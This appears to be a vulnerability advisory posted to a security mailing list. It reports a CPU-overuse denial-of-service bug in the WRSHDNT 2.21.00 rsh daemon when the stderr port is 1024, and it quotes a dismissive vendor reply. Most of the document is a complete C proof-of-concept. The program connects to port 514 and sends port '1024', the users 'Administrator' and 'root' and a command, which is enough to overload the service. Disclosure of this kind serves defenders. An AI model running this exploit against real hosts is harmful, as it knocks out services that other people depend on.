WRSHDNT 2.21.00 CPU overusage

[martin rakhmanoff <jimmers@yandex.ru>]

WRSHDNT 2.21.00 CPU overusage

Greetings, 

Denicomp Systems fixed previous bug partially: 
version 2.21.00 is prone to the same 
bug when port number is 1024. Support personnel 
reply to my bug report was:

"If you don't write buggy rsh clients, you don't have a 
problem :)"

Cheers,

Martin

/*
** WRSHDNT 2.21.00 CPU overusage demo
** jimmers@yandex.ru
*/

#define	HOST	"localhost"
#define	PORT	514

#include <stdio.h>
#include <winsock2.h>

int main(int argc, char * argv[]){
	SOCKET s;
	WSADATA WSAData;
	LPHOSTENT lpHostEnt;
	SOCKADDR_IN sockAddr;
	int res, on = 1;
	char *stderr_port = "1024";
	char *local_user  = "Administrator";
	char *remote_user = "root";
	char *cmd = "ver";

	res = WSAStartup(MAKEWORD( 2, 2 ), 
&WSAData);
	if(res != 0){
		res = WSAGetLastError();
		printf("WSAStartup() failed, 
WSAGetLastError: %d\n", res);
		return 1;
	}
	
	lpHostEnt = gethostbyname(HOST);
	if(lpHostEnt == NULL){
		res = WSAGetLastError();
		printf("gethostbyname() failed, 
WSAGetLastError: %d\n", res);
		WSACleanup();
		return 1;
	}
	
	s = socket(AF_INET, SOCK_STREAM, 
IPPROTO_TCP);
	if(s == INVALID_SOCKET){
		res = WSAGetLastError();
		printf("socket() failed, 
WSAGetLastError: %d\n", res);
		WSACleanup();
		return 1;
	}

	sockAddr.sin_family	= AF_INET;
	sockAddr.sin_port	= htons(PORT);
	sockAddr.sin_addr	= *((LPIN_ADDR)
*lpHostEnt->h_addr_list);
	
	res = connect(s, (PSOCKADDR)
&sockAddr, sizeof(sockAddr));
	if(res != 0){
		res = WSAGetLastError();
		printf("connect() failed, 
WSAGetLastError: %d\n", res);
		WSACleanup();
		return 1;
	}

	Sleep(400);	
	res = send(s, stderr_port, strlen
(stderr_port)+1, 0);
	if(res == SOCKET_ERROR){
		res = WSAGetLastError();
		printf("send(stderr_port) failed, 
WSAGetLastError: %d\n", res);
		WSACleanup();
		return 1;
	}
	
	printf("send(stderr_port): %d\n", res);

	Sleep(400);	
	res = send(s, local_user, strlen(local_user)
+1, 0);
	if(res == SOCKET_ERROR){
		res = WSAGetLastError();
		printf("send(local_user) failed, 
WSAGetLastError: %d\n", res);
		WSACleanup();
		return 1;
	}
	printf("send(local_user): %d\n", res);


	Sleep(400);	
	res = send(s, remote_user, strlen
(remote_user)+1, 0);
	if(res == SOCKET_ERROR){
		res = WSAGetLastError();
		printf("send(remote_user) failed, 
WSAGetLastError: %d\n", res);
		WSACleanup();
		return 1;
	}
	printf("send(remote_user): %d\n", res);


	Sleep(400);	
	res = send(s, cmd, strlen(cmd)+1, 0);
	if(res == SOCKET_ERROR){
		res = WSAGetLastError();
		printf("send(cmd) failed, 
WSAGetLastError: %d\n", res);
		WSACleanup();
		return 1;
	}
	printf("send(cmd): %d\n", res);

	WSACleanup();
	return 0;
}